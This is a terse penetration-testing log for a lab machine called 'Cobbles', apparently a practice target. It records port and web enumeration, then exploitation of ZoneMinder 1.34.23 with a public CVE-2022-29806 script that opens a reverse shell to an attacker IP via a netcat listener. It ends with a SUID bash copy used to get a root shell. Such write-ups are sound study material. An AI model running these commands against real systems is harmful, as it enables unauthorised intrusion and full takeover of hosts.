Cobbles

๐Ÿงช Pentest Log: {{date:2025-07-27}}

๐Ÿ” Target Information

ip=192.168.176.214

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) 

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

found server-status page

found zoneminder v1.34.23

๐Ÿ’ฃ Exploitation / Foothold

Tool / Script Used:

CVE-2022-29806

https://github.com/OP3R4T0R/CVE-2022-29806

python3 exploit.py -t http://192.168.176.214/zm-prod/ -ip 192.168.45.163 -p 80
nc -lvnp 80

found local.txt under /home/isaac

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Open Ports:

netstat -antup | grep -ni listen

grep -nRw '8080\|8081' /etc/* 2>/dev/null

found the /etc/haproxy/haproxy.cfg

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

python3 exploit.py -t http://192.168.176.214/zm-prod/ -ip 192.168.45.163 -p 443

nc -lvnp 443
cp /bin/bash .

chmod +s bash
./bash -p